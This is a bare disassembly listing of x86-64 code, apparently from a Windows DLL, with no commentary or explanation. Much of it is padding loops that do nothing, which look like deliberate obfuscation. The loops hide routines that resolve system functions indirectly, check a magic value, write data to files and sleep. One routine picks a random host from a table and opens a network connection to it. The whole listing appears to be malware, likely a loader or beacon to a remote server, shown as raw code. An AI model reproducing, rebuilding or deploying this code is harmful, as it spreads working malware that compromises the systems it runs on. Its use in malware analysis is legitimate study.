mov rcx, qword [rbp - 0x333]
mov rcx, qword [rbp - 0x1b5]
movzx edx, cx
add ecx, edx
mov qword [rbp - 0x238], r11
mov qword [rbp - 0x3ba], r11
and ecx, edx
mov rdx, qword [rbp - 0x14f]
sub dword [rbp - 0x2b4], edx
add rcx, qword [rbp - 0x106]
mov dword [rbp - 0x379], ecx
mov qword [rbp - 0x21], r9
movzx eax, al
mov rdx, 0xd2fe
mov r10, qword [rbp - 0x2a8]
mov qword [rbp - 0x171], r10
mov ecx, edx
mov eax, edx
mov dword [rbp - 0x311], eax
movzx ecx, al
mov rdx, qword [rbp - 0x18a]
test qword [0x180008b6c], rax
js 0x180003c18
mov eax, edx
mov r10, qword [rbp - 0x244]
add eax, dword [rbp - 0x240]
mov dword [rbp - 0x233], eax
add dword [rbp - 0xd6], edx
mov r10, qword [rbp - 0x2dc]
mov rax, r8
mov dword [rbp - 0x24e], edx
and ecx, 0x56a1
xor qword [rbp - 0x1f0], r10
mov ecx, dword [0x180008b73]
mov ecx, dword [rbp - 0x19f]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003c0a
mov edx, dword [rbp - 0x2fe]
mov rax, qword [rbp - 0xb2]
add eax, ecx
mov dword [rbp - 0x30f], edx
inc qword [rsp]
cmp qword [rsp], 0xd00
jle 0x180003bf1
add rsp, 0x10
leave
pop rax
pop rax
cmp eax, 0
jle 0x180003151
push rbp
mov rbp, rsp
sub rsp, 0x4d8
add edx, 0x32cb
mov rcx, qword [0x180008b65]
mov r9, r11
mov dword [rbp - 0x1a5], ecx
mov edx, eax
mov edx, 0xb8b8
mov r8, qword [rbp - 0x44f]
cmp ecx, edx
jo 0x180003c8d
mov ecx, dword [rbp - 0x309]
sub r10, rax
mov ecx, dword [rbp - 0x242]
mov eax, edx
mov dword [rbp - 0x75], edx
mov byte [rbp - 0x2db], cl
mov r11, qword [rbp - 0x1e2]
mov qword [rbp - 0xe8], rdx
sub eax, 0xe216
movzx edx, dx
and ecx, 0x7208
mov eax, dword [0x180008b72]
sub qword [rbp - 0x4d], r10
sub r11, qword [rbp - 0x3e4]
sub edx, 0xf660
add dword [rbp - 0x447], eax
mov r10, qword [rbp - 0x2ad]
mov edx, eax
mov qword [rbp - 0x4ce], rdx
add ecx, dword [rbp - 0x414]
sub dword [rbp - 0x31d], ecx
mov qword [rbp - 0x408], r9
mov r10, qword [rbp - 0x33c]
mov edx, dword [rbp - 0x232]
or dword [rbp - 0x425], edx
mov r10, qword [rbp - 0x3d5]
mov qword [0x180008b65], rcx
mov edx, dword [rbp - 0x3e3]
sub rax, r8
mov edx, dword [rbp - 0x40b]
mov qword [rbp - 0x3a2], r9
add r11, qword [rbp - 0x4ab]
sub eax, dword [rbp - 0x236]
mov eax, dword [rbp - 0x148]
mov r10, 0xa894
mov rcx, 0x3c57
mov rax, r8
sub qword [rbp - 0x2e5], r9
xor rax, qword [rbp - 0x29]
cmp rdx, qword [0x180008b6f]
je 0x180003d56
sub dword [rbp - 0xc7], ecx
mov dword [rbp - 0x288], edx
movzx ecx, cl
mov eax, dword [rbp - 0x43b]
mov eax, ecx
add dword [rbp - 0x45], eax
leave
call fcn.180006f50
cmp eax, 0xffffffff
je 0x180003151
mov rbx, qword [0x1800083ee]
mov dword [rbp - 0xbe], eax
push rax
push rax
push rbp
mov rbp, rsp
sub rsp, 0x408
mov rcx, qword [rbp - 0x1b5]
movzx ecx, ax
add r10, qword [rbp - 0x1b4]
movzx ecx, cl
lea r10, [rbp - 0x64]
mov eax, dword [rbp - 0x3ed]
add ecx, dword [rbp - 0x2ef]
xor eax, dword [rbp - 0x228]
mov rdx, 0xd29b
mov ecx, dword [0x180008b70]
mov edx, dword [rbp - 0xd4]
mov qword [rbp - 0x24c], r9
lea rcx, [rbp - 0x1b7]
sub edx, 0xb38b
mov edx, dword [0x180008b6b]
mov ecx, dword [rbp - 0x35c]
lea rcx, [rbp - 0x99]
lea rax, [rbp - 0x379]
and qword [rbp - 0x7f], rcx
mov rax, qword [0x180008b6b]
movzx ecx, dh
mov dword [rbp - 0x1fe], ecx
lea rax, [rbp - 0x347]
movzx ecx, cx
and qword [rbp - 0xb9], r8
xor edx, dword [rbp - 0x1c5]
cmp ecx, 0x8165c821
je 0x180003f20
mov dword [rbp - 0x3d4], edx
sub r8, 0x4888
mov rax, qword [rbp - 0x32a]
sub dword [rbp - 0x1cd], ecx
and eax, dword [rbp - 0x385]
mov qword [rbp - 0x115], rcx
mov ecx, dword [rbp - 0x397]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180003f0e
mov edx, eax
sub r8, 0x273b
mov r9, qword [rbp - 0x331]
sub edx, dword [rbp - 0xfd]
mov eax, dword [rbp - 0x151]
mov r8, qword [rbp - 0x104]
mov r8, qword [rbp - 0x7e]
add ecx, dword [rbp - 0x13d]
mov qword [rbp - 0x1a7], rcx
mov qword [rbp - 0x2e9], r9
mov rax, r9
mov dword [rbp - 0x3dd], ecx
add dword [rbp - 0xe1], eax
add dword [rbp - 0x2ae], edx
mov edx, dword [rbp - 0x33f]
mov rax, r11
mov qword [0x180008b66], r8
mov byte [rbp - 0x1fb], dh
mov rax, 0x3b18
mov ecx, dword [rbp - 0x3e4]
mov eax, 0x3ee8
and r9, rax
mov edx, dword [rbp - 0x1e2]
mov rax, qword [rbp - 0x16a]
mov ecx, eax
sub edx, eax
lea r9, [rbp - 0x223]
and qword [rbp - 0x2a1], r8
xor qword [rbp - 0x39e], r9
mov qword [rbp - 0x118], r11
or edx, dword [rbp - 0x4d]
inc qword [rsp]
cmp qword [rsp], 0x1004
jle 0x180003e5f
add rsp, 0x10
leave
pop rax
pop rax
cmp eax, 0xffffffff
jne 0x180004019
mov rcx, qword [0x1800083ee]
mov rax, qword [0x180008aec]
call rax
mov qword [0x1800083ee], 0
jmp 0x180003151
mov rcx, rbx
lea rdx, [0x1800082be]
mov rax, qword [0x180008b1c]
call rax
cmp rax, 0
je 0x180003f2c
mov rcx, rbx
lea rdx, [0x1800082ce]
mov rax, qword [0x180008b1c]
call rax
cmp rax, 0
je 0x180003f2c
mov rbx, rax
add rbx, 4
cmp dword [rbx], 0x66666f6f
je 0x180004a2e
cmp dword [rbp - 0xbe], 0
je 0x180003f2c
push rbp
mov rbp, rsp
sub rsp, 0x448
movzx ecx, byte [rbp - 0x12e]
mov qword [rbp - 0x1eb], rdx
mov edx, ecx
movzx edx, cx
mov edx, dword [rbp - 0x309]
mov qword [rbp - 0x34d], r10
mov eax, dword [rbp - 0x13]
mov dword [rbp - 0x13f], edx
add ecx, dword [rbp - 0x11b]
and dword [rbp - 0xd2], eax
cmp al, byte [0x180008b6c]
jb 0x180004201
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800041ec
and qword [rbp - 0x13c], rcx
mov r10, qword [rbp - 0x43]
mov dword [rbp - 0x26e], ecx
mov dword [rbp - 0x151], edx
mov edx, dword [rbp - 0x144]
mov rax, 0x5e80
and eax, edx
add edx, dword [rbp - 0x2b3]
movzx edx, ah
mov qword [rbp - 0x20e], r11
sub edx, dword [rbp - 0x175]
sub edx, dword [rbp - 0x3e]
xor dword [0x180008b6b], ecx
mov r8, 0x70e5
sub dword [rbp - 0x2e9], eax
mov dword [0x180008b67], eax
sub rax, r9
mov dword [rbp - 0x35d], eax
xor dword [rbp - 0x314], edx
mov edx, dword [0x180008b65]
mov eax, dword [rbp - 0x18e]
mov r8, qword [rbp - 0x401]
mov dword [rbp - 0x2f4], ecx
mov ecx, dword [rbp - 0x2b6]
mov edx, dword [rbp - 0x142]
mov r8, 0x9899
xor cx, word [rbp - 0x1e4]
mov dword [0x180008b6e], ecx
or eax, ecx
movzx ecx, dh
mov r11, qword [rbp - 0x27f]
movzx ecx, dx
mov ecx, eax
mov edx, dword [rbp - 0x416]
mov r8, qword [rbp - 0xe3]
xor rax, qword [rbp - 0x279]
movzx edx, byte [0x180008b6b]
lea r10, [rbp - 0x20e]
movzx ecx, dh
or qword [rbp - 0x139], r8
mov r10, 0x2369
mov dword [rbp - 0x123], edx
mov edx, dword [rbp - 0x3fd]
mov dword [rbp - 0x35b], edx
add qword [rbp - 0x24d], rax
mov qword [rbp - 0xe7], rcx
movzx edx, ah
movzx ecx, byte [0x180008b71]
mov ecx, eax
movzx edx, cx
mov ecx, 0x5e03
inc qword [rsp]
mov rdx, 0x219a
cmp qword [rsp], rdx
jle 0x1800040d0
add rsp, 0x10
leave
mov rdi, rbx
movsxd rsi, dword [rbp - 0xbe]
mov r12, rsi
dec rsi
call fcn.180004b8d
movsxd rsi, dword [rbp - 0xbe]
mov al, byte [rbx + rsi - 1]
mov byte [0x180008581], al
call fcn.1800062d4
lea rsi, [0x18000811b]
push rbp
mov rbp, rsp
sub rsp, 0x4c8
sub r8, qword [rbp - 0xc1]
add qword [rbp - 0x49b], r10
mov rdx, r10
xor rax, 0x7765
mov rcx, qword [rbp - 0xc8]
mov dx, word [rbp - 0x3d0]
add edx, dword [rbp - 0x1c8]
mov ecx, dword [rbp - 0x7a]
mov edx, dword [rbp - 0x1b5]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180004316
mov r9, qword [rbp - 0x482]
sub ecx, dword [rbp - 0x2f0]
movzx eax, cl
mov r8, qword [rbp - 2]
mov ecx, dword [rbp - 0x3aa]
and rcx, r9
mov eax, ecx
mov rdx, qword [rbp - 0x142]
sub eax, 0xc689
xor rdx, qword [rbp - 0x484]
xor eax, edx
sub qword [rbp - 0xc0], rax
add eax, dword [rbp - 0x209]
sub ecx, 0x5b41
movzx edx, byte [rbp - 0x3b3]
mov r9, qword [rbp - 0x2fe]
xor edx, dword [rbp - 0x495]
mov dword [rbp - 0xda], eax
mov r9, qword [0x180008b73]
mov dword [rbp - 0xed], edx
xor eax, ecx
mov dword [rbp - 0x229], ecx
mov rax, 0x38ef
movzx edx, byte [rbp - 0x135]
movzx edx, dl
xor qword [rbp - 0x2ff], rdx
inc qword [rsp]
mov rcx, 0x3c74
cmp qword [rsp], rcx
jle 0x180004284
add rsp, 0x10
and qword [rbp - 0x1f9], r11
movzx ecx, dl
mov dword [rbp - 0x4a6], eax
mov qword [0x180008b65], r10
movzx ecx, dh
mov ecx, edx
test dword [0x180008b73], edx
jae 0x1800043b0
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180004385
mov r8, rax
lea r10, [rbp - 0x395]
mov eax, dword [rbp - 0x2cb]
movzx edx, dh
sub r8, qword [0x180008b66]
mov rdx, rcx
mov qword [rbp - 0x372], rcx
inc qword [rsp]
mov edx, 0xb0f2
cmp edx, dword [rsp]
jl 0x18000435d
add rsp, 0x10
movzx ecx, dl
add dx, 0x1837
add dword [rbp - 0x22f], ecx
mov edx, ecx
mov rdx, qword [rbp - 0x2df]
sub eax, dword [rbp - 0x253]
add r11, r10
mov rax, qword [rbp - 0x3e3]
mov dword [rbp - 0x114], edx
leave
mov rcx, rsi
lea rdx, [0x18000821b]
cmp byte [0x180008581], 1
jne 0x1800043db
lea rdx, [0x180008220]
mov rax, qword [str._lwbwT0]
call rax
mov rcx, rsi
lea rdx, [0x1800083f6]
mov rax, qword [0x180008ae4]
call rax
push rax
push rax
push rbp
mov rbp, rsp
sub rsp, 0x3c8
movzx ecx, cx
lea rdx, [rbp - 0x41]
sub eax, dword [rbp - 0x28b]
movzx eax, cl
sub ecx, 0xfca
and dword [rbp - 0x279], eax
mov ecx, dword [rbp - 0x310]
mov rax, qword [rbp - 0x8c]
mov qword [rbp - 0x2cc], r8
and edx, ecx
mov dword [rbp - 0x1c4], eax
mov qword [rbp - 0x312], r8
mov edx, dword [rbp - 0x119]
sub qword [rbp - 0x277], rcx
mov rcx, qword [rbp - 0x33]
xor dword [rbp - 0x79], ecx
movzx ecx, cx
mov rcx, r8
or edx, dword [rbp - 0x66]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000451d
mov dword [rbp - 0x7c], ecx
movzx edx, ah
mov dword [rbp - 0x384], eax
sub qword [rbp - 0x6e], r10
and qword [rbp - 0x86], rcx
movzx edx, dh
mov qword [rbp - 0x36a], rcx
xor r10, rdx
mov edx, ecx
movzx ecx, ax
mov edx, dword [rbp - 0x2d3]
add r9, r11
mov ecx, dword [rbp - 0x25e]
xor dword [rbp - 0x2bb], edx
movzx edx, byte [rbp - 0x2ef]
mov rdx, 0x5269
movzx eax, al
sub ecx, dword [rbp - 0x236]
sub eax, edx
mov ecx, dword [rbp - 0x235]
mov r9, 0x91e0
mov edx, ecx
or dword [rbp - 0x338], eax
mov dword [rbp - 0x1b2], ecx
or r9, 0x14b3
add rax, 0x6cd6
lea r9, [rbp - 0x31]
mov qword [rbp - 0x2a1], r9
sub dword [rbp - 0x1db], ecx
movzx ecx, word [rbp - 0x153]
mov dword [rbp - 0x283], eax
sub r8, qword [rbp - 0x14c]
sub qword [rbp - 0x78], rax
inc qword [rsp]
cmp qword [rsp], 0x781d
jle 0x180004471
add rsp, 0x10
movzx ecx, byte [0x180008b72]
leave
pop rax
pop rax
cmp rax, 0
je 0x180003f2c
mov rdi, rax
mov rcx, rbx
mov rdx, 1
movsxd r8, dword [rbp - 0xbe]
dec r8
mov r9, rdi
mov rax, qword [0x180008af4]
call rax
push r14
push rbp
mov rbp, rsp
sub rsp, 0x88
mov r14, qword [rbp - 0x1d]
movzx edx, dh
mov cl, byte [rbp - 0x20]
mov qword [rbp - 0x35], rdx
test qword [0x180008b6c], r9
jne 0x180004591
mov rcx, qword [rbp - 0x58]
movzx ecx, dl
movzx eax, byte [0x180008b69]
mov qword [rbp - 0x3d], r9
mov qword [rbp - 0x5e], r9
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180004645
movzx ecx, dl
mov ecx, eax
mov eax, 0xca8c
mov r11, rcx
sub r11, rcx
mov dword [rbp - 0x29], eax
xor r11, qword [rbp - 0x6e]
mov ecx, edx
xor ecx, dword [rbp - 0x60]
add rcx, qword [rbp - 5]
mov dword [rbp - 0x70], ecx
or rdx, qword [rbp - 0xe]
mov eax, dword [rbp - 0x14]
movzx ecx, dh
movzx edx, byte [0x180008b69]
mov qword [rbp - 0x6c], rax
sub edx, dword [rbp - 0x38]
movzx edx, byte [rbp - 0x47]
mov qword [0x180008b71], r14
and r11, rax
add eax, edx
mov eax, 0xd0a2
movzx edx, dh
mov r9, 0x8764
movzx eax, ch
or rax, qword [rbp - 0x60]
and dword [rbp - 0x3f], ecx
movzx edx, cl
mov r8, 0x1306
mov r14, qword [rbp - 0x70]
mov dword [rbp - 0x16], edx
mov qword [rbp - 0x39], rdx
mov dword [rbp - 0x72], eax
sub r11, qword [rbp - 0x6d]
lea r11, [rbp - 0x48]
mov qword [rbp - 0x58], r10
mov dword [rbp - 0x5c], ecx
mov ecx, 0x15ca
inc qword [rsp]
cmp qword [rsp], 0xe8b9
jle 0x1800045b1
add rsp, 0x10
mov edx, dword [rbp - 0x5b]
mov qword [rbp - 0x51], r9
mov qword [0x180008b66], r10
mov dword [0x180008b65], ecx
movzx ecx, ah
sub edx, dword [rbp - 0x77]
mov eax, dword [rbp - 0x3e]
sub dword [rbp - 0x68], edx
mov ecx, edx
mov r9, qword [rbp - 0x79]
mov ecx, edx
or dword [rbp - 0x1c], eax
xor ecx, eax
and r9, qword [rbp - 0x34]
sub rax, 0xb1bb
mov qword [rbp - 0x52], r10
add dword [rbp - 0x6f], eax
lea rax, [rbp - 0x7c]
mov dword [rbp - 0x28], edx
mov r9, qword [rbp - 0x41]
mov dword [rbp - 0x74], eax
mov r10, qword [rbp - 0x6e]
mov qword [rbp - 0x53], r14
mov ecx, dword [rbp - 0x1a]
mov qword [rbp - 0x2e], r9
test r10, 0xffffffffb51b8c8d
jno 0x1800046be
sub dword [rbp - 0x45], ecx
leave
pop r14
mov rcx, rdi
mov rax, qword [0x180008adc]
call rax
mov rcx, qword [0x1800083ee]
mov rax, qword [0x180008aec]
call rax
mov qword [0x1800083ee], 0
cmp byte [0x180008581], 1
jne 0x180004712
lea rcx, [0x180008598]
lea rdx, [0x180008582]
mov r8, rsi
mov rax, qword [0x180008b04]
call rax
lea rsi, [0x180008598]
push rbp
mov rbp, rsp
sub rsp, 0xd8
add edx, 0xc54f
mov ecx, dword [rbp - 0x1e]
mov r8, qword [rbp - 0x81]
add rcx, 0x3a3
sub rdx, qword [rbp - 0x44]
sub ecx, dword [rbp - 4]
mov ecx, eax
xor qword [rbp - 0x4e], rdx
mov edx, dword [rbp - 0x14]
or dword [rbp - 0xb7], eax
movzx edx, ch
sub qword [0x180008b67], r10
mov qword [rbp - 0x22], rax
movzx ecx, ax
mov dx, word [rbp - 0x3a]
movzx ecx, dh
mov qword [rbp - 0x8b], rax
mov r10, qword [rbp - 0xaf]
mov ecx, eax
mov eax, dword [0x180008b68]
mov r8, qword [rbp - 4]
movzx ecx, dh
and edx, 0xe105
mov ecx, dword [rbp - 0xb7]
mov dword [rbp - 0x55], ecx
sub dword [rbp - 0xa2], eax
cmp edx, 0xc848da34
jne 0x180004844
mov dword [rbp - 0x50], eax
mov r8, qword [rbp - 0xcf]
mov r8, qword [rbp - 0xd]
mov rcx, 0x75c1
mov r9, qword [rbp - 0x7e]
lea rcx, [rbp - 0x5c]
movzx ecx, dh
and qword [rbp - 0x65], r11
mov edx, dword [rbp - 0x6e]
or edx, dword [rbp - 0x54]
add qword [0x180008b67], rcx
movzx edx, byte [rbp - 0x1f]
mov dword [rbp - 0x4d], eax
add r10, r8
xor eax, dword [rbp - 0x2c]
xor dword [rbp - 0xa0], ecx
mov r8, qword [rbp - 0x2b]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180004836
and r8, rcx
movzx ecx, ax
add qword [0x180008b73], rdx
mov edx, eax
mov rax, qword [rbp - 0xce]
mov eax, dword [rbp - 0xb6]
mov r10, 0xc378
mov r10, qword [rbp - 0x29]
mov dword [rbp - 0x47], ecx
and edx, eax
sub dl, byte [rbp - 0x72]
mov dword [0x180008b67], eax
sub r9, qword [rbp - 0xb0]
inc qword [rsp]
cmp qword [rsp], 0x7505
jle 0x1800047f6
add rsp, 0x10
mov qword [rbp - 0x25], r8
or dword [0x180008b66], eax
mov r8, qword [rbp - 0x27]
mov qword [rbp - 0x58], rax
mov dword [rbp - 0xbc], eax
leave
lea rcx, [0x180008117]
mov rax, qword [0x180008b2c]
call rax
lea rcx, [0x180008013]
lea rdx, str.u_bPO
mov r8, rax
mov rax, qword [0x180008b04]
call rax
push rbp
mov rbp, rsp
sub rsp, 0x278
add edx, dword [rbp - 0x212]
mov qword [rbp - 0x3e], rcx
cmp r10, qword [0x180008b71]
je 0x1800049f4
movzx eax, al
movzx ecx, dx
or qword [rbp - 0xd2], r8
or r9, qword [rbp - 0x1a7]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800049e2
mov dword [rbp - 0x183], edx
movzx eax, cl
mov r8, r11
sub edx, ecx
mov rdx, qword [0x180008b69]
sub rax, qword [rbp - 0x142]
nop
mov edx, eax
sub qword [rbp - 0x1b5], r10
mov dword [rbp - 0x1ad], eax
sub qword [rbp - 0x205], r8
or r8, rcx
mov dword [0x180008b69], eax
sub r8, r11
mov qword [rbp - 0x20d], r8
sub qword [rbp - 0x5d], r8
xor rax, 0xdeba
add qword [0x180008b6d], rcx
movzx edx, ch
mov dx, word [rbp - 0xca]
mov dword [rbp - 0xa8], eax
mov rcx, qword [rbp - 0x1fc]
xor cx, word [rbp - 0x18f]
and rdx, qword [rbp - 0x5a]
mov qword [rbp - 0x152], r10
sub qword [rbp - 0x171], r10
mov al, dh
add ecx, dword [rbp - 0x19f]
mov r10, rdx
movzx eax, al
add rdx, 0xe58a
add rcx, r8
mov qword [rbp - 0x1da], rax
xor dword [rbp - 0xac], ecx
or rax, qword [rbp - 0x1c1]
mov r11, r10
mov rdx, r9
mov qword [rbp - 0x84], r11
mov ecx, eax
mov r8, qword [rbp - 0x242]
mov qword [rbp - 0x263], r9
mov r9, 0xbb51
mov rcx, 0x586f
sub rcx, r9
mov rax, 0x3213
and edx, dword [0x180008b67]
mov ecx, dword [rbp - 0x123]
mov eax, dword [rbp - 0x220]
mov r9, rdx
mov eax, edx
or dword [str.UdJ8I2C4qJiumU849M0WjAr8YoX6zNbJIEp9pPEvbzBjBRolpz5VcQZq], edx
mov rdx, qword [rbp - 0x1e]
sub rcx, qword [rbp - 0x253]
inc qword [rsp]
cmp qword [rsp], 0x5121
jle 0x1800048ce
add rsp, 0x10
leave
lea rcx, [0x180008013]
lea rdx, [0x1800083f6]
mov rax, qword [0x180008ae4]
call rax
test rax, rax
jne 0x180004a1d
mov rcx, rax
mov rax, qword [0x180008adc]
call rax
mov r10, 0
call fcn.1800055b6
jmp 0x180003d57
mov rax, 0
call sub.KERNEL32.dll_ExitProcess
push r13
push r15
push r12
push rbp
mov rbp, rsp
sub rsp, 0x3a8
add dword [0x180008b6e], ecx
add r12, r15
or dword [rbp - 0xd8], ecx
cmp ecx, dword [0x180008b65]
je 0x180004ad7
mov eax, dword [rbp - 0xd]
lea r9, [rbp - 0x73]
sub qword [rbp - 0x1fc], r13
xor edx, 0xbdd7
call fcn.180004adf
call sub.msvcrt.dll_mbtowc
sub edx, dword [0x180008b65]
mov edx, eax
mov ecx, 0xbad2
xor qword [rbp - 0x228], r11
call sub.KERNEL32.dll_SetConsoleMaximumWindowSize
mov eax, ecx
mov edx, ecx
mov ecx, edx
add ecx, dword [rbp - 0x35e]
movzx eax, dl
mov ecx, dword [rbp - 0x20e]
xor ecx, dword [rbp - 0x17e]
mov r10, qword [rbp - 0x22]
mov rdx, r12
mov eax, 0xdaa7
mov dword [rbp - 0x118], ecx
mov qword [rbp - 0x7d], rdx
mov word [rbp - 0x296], ax
mov ecx, dword [rbp - 0x35a]
leave
pop r12
pop r15
pop r13
ret
push rdi
push rsi
push r13
push r14
push rbp
mov rbp, rsp
sub rsp, 0x168
add edi, 0x49b2
sub r11, qword [rbp - 0x14c]
mov rcx, qword [rbp - 0x137]
mov dword [rbp - 0xd], edi
and r13, r8
lea r13, [rbp - 0x4a]
mov rsi, 0x3008
add r9, qword [0x180008b6f]
mov esi, dword [rbp - 0x157]
mov ecx, edi
add ecx, dword [rbp - 0x28]
add r8, qword [rbp - 0x12f]
mov qword [rbp - 0xf7], r11
mov qword [rbp - 0x94], r13
mov ecx, esi
mov edi, dword [rbp - 0x55]
lea rcx, [0x180008b69]
mov eax, dword [rbp - 0x76]
and eax, edx
cmp edi, esi
jne 0x180006e70
and dword [rbp - 0x4c], eax
movzx edx, ch
cmp edi, 0xce1d1eb4
jae 0x180006e70
or ecx, dword [rbp - 0xe0]
and eax, dword [rbp - 0x18]
mov rsi, qword [rbp - 0xf3]
mov qword [rbp - 0xce], rsi
lea r8, [rbp - 0xf2]
test qword [0x180008b68], r9
jmp 0x180006df1
mov r8, 0x10a1
movzx ecx, cl
mov r11, qword [rbp - 0x146]
mov edx, 0x1d58
mov dword [rbp - 0x12e], esi
mov eax, dword [rbp - 0x24]
mov edx, dword [rbp - 0x10c]
movzx edi, ch
mov r8, qword [rbp - 0x3f]
mov qword [rbp - 0xd6], r11
mov edi, dword [rbp - 0x13e]
mov qword [rbp - 0x37], rdx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180006e5f
add dword [rbp - 0x62], ecx
add rdx, r11
mov dword [rbp - 0xf9], ecx
movzx edx, dh
mov r11, rsi
and edx, esi
lea r13, [rbp - 0x71]
mov r13, qword [rbp - 0x45]
mov edi, dword [rbp - 0x32]
inc qword [rsp]
mov rdx, 0x5af
cmp qword [rsp], rdx
jle 0x180006e3c
add rsp, 0x10
leave
pop r14
pop r13
pop rsi
pop rdi
mov rcx, 0x1388
call sub.KERNEL32.dll_Sleep
mov rax, 0
cmp rax, 0
je 0x180006d1c
push rbx
sub rsp, 0x30
call sub.msvcrt.dll_rand
cdq
idiv dword [0x180008a30]
lea rcx, [0x180008a00]
mov rcx, qword [rcx + rdx*8]
mov qword [0x18000822c], rcx
xor r8d, r8d
lea rdx, [0x180008229]
mov qword [rsp + 0x28], 0
lea r9, [rsp + 0x28]
call sub.WS2_32.dll_getaddrinfo
test eax, eax
jne 0x180006f2e
mov rax, qword [rsp + 0x28]
mov r8d, 6
mov edx, 1
mov ecx, dword [rax + 4]
call sub.WS2_32.dll_socket
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180006f24
mov rcx, qword [rsp + 0x28]
mov rdx, qword [rcx + 0x20]
mov r8d, dword [rcx + 0x10]
mov rcx, rbx
call sub.WS2_32.dll_connect
cmp eax, 0xffffffff
je 0x180006f1c
mov rax, rbx
add rsp, 0x30
pop rbx
ret
mov rcx, rbx
call sub.WS2_32.dll_closesocket
mov rcx, qword [rsp + 0x28]
call sub.WS2_32.dll_freeaddrinfo
mov rax, 0xffffffffffffffff
add rsp, 0x30
pop rbx
ret